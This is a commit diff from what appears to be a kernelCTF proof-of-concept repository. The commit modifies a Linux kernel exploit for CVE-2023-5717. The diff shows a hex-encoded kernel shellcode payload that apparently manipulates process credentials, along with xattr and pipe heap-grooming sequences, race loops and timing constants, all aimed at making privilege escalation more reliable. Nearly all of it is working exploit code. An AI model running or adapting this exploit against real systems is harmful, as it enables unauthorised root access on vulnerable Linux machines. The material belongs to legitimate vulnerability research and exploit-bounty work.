Skip to content

Commit f26c523

Browse files
committed
making more reliable memory layout?
1 parent 3d7af0d commit f26c523

File tree

2 files changed

+23
-22
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+23
-22
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+23-22
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@
3838
#define CPU_A 1 // main cpu
3939
#define CPU_B 0
4040
#define MAX_TRY 4096
41-
#define TRY_PER_ITER 1024
41+
#define TRY_PER_ITER 300
4242
// TOTAL_ITER = MAX_TRY * TRY_PER_ITER
4343

4444
char shellcode[] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf";
@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
289289
}
290290

291291
int counter_init = 0;
292-
void race(int group_leader, int timer) { // caller must have ownership of the group
292+
void race(int group_leader, int init) { // caller must have ownership of the group
293293
int pipefd[2];
294294
uint64_t buf[0x2000] = {0, };
295295
char buffer[0x100] = {0x41, };
@@ -299,6 +299,22 @@ void race(int group_leader, int timer) { // caller must have ownership of the gr
299299
}
300300
int ppid = getppid();
301301
int status;
302+
if (init) { // Will this help in forming a reliable memory layout?
303+
spray_xattr_page(0x3008, 12, 1); // 12296
304+
spray_xattr_page(0x4008, 2, 1); // 16392
305+
remove_xattr("security.x16392_0", 1);
306+
remove_xattr("security.x16392_1", 1);
307+
remove_xattr("security.x12296_5", 1);
308+
remove_xattr("security.x12296_6", 1);
309+
remove_xattr("security.x12296_11", 1);
310+
resize_pipe(vuln_pipe[1], 0x1000 * 220);
311+
remove_xattr("security.x12296_10", 1);
312+
remove_xattr("security.x12296_7", 1);
313+
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
314+
perror("reclaim failed");
315+
exit(EXIT_FAILURE);
316+
}
317+
}
302318
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
303319
perror("reclaim failed");
304320
exit(EXIT_FAILURE);
@@ -470,27 +486,12 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
470486
sched_yield();
471487
// Minimizing heap noise.
472488
// child will be running on CPU_A
473-
spray_xattr_page(0x3008, 12, 1); // 12296
474-
spray_xattr_page(0x4008, 2, 1); // 16392
475-
remove_xattr("security.x16392_0", 1);
476-
remove_xattr("security.x16392_1", 1);
477-
remove_xattr("security.x12296_5", 1);
478-
remove_xattr("security.x12296_6", 1);
479-
sched_yield();
480-
// this reclaim process must be atomic
481-
remove_xattr("security.x12296_11", 1);
482-
resize_pipe(vuln_pipe[1], 0x1000 * 220);
483-
remove_xattr("security.x12296_10", 1);
484-
remove_xattr("security.x12296_7", 1);
485-
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
486-
perror("reclaim failed");
487-
exit(EXIT_FAILURE);
488-
}
489-
490489
for (int _; _<TRY_PER_ITER; _++) {
491490
while (!atomic_load(&race_go));
492-
race(group_leader, MIN + _*50);
493-
491+
if (_ == 0)
492+
race(group_leader, 1);
493+
else
494+
race(group_leader, 0);
494495
}
495496
}
496497
sleep(9999999);
@@ -717,7 +718,7 @@ int main(void) {
717718
race_oracle();
718719
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
719720
do_epoll_enqueue(tfd);
720-
alarm(60*30);
721+
alarm(900);
721722
spray_xattr_page(0x3000, 2048, 0);
722723

723724
exploit();

0 commit comments

Comments
 (0)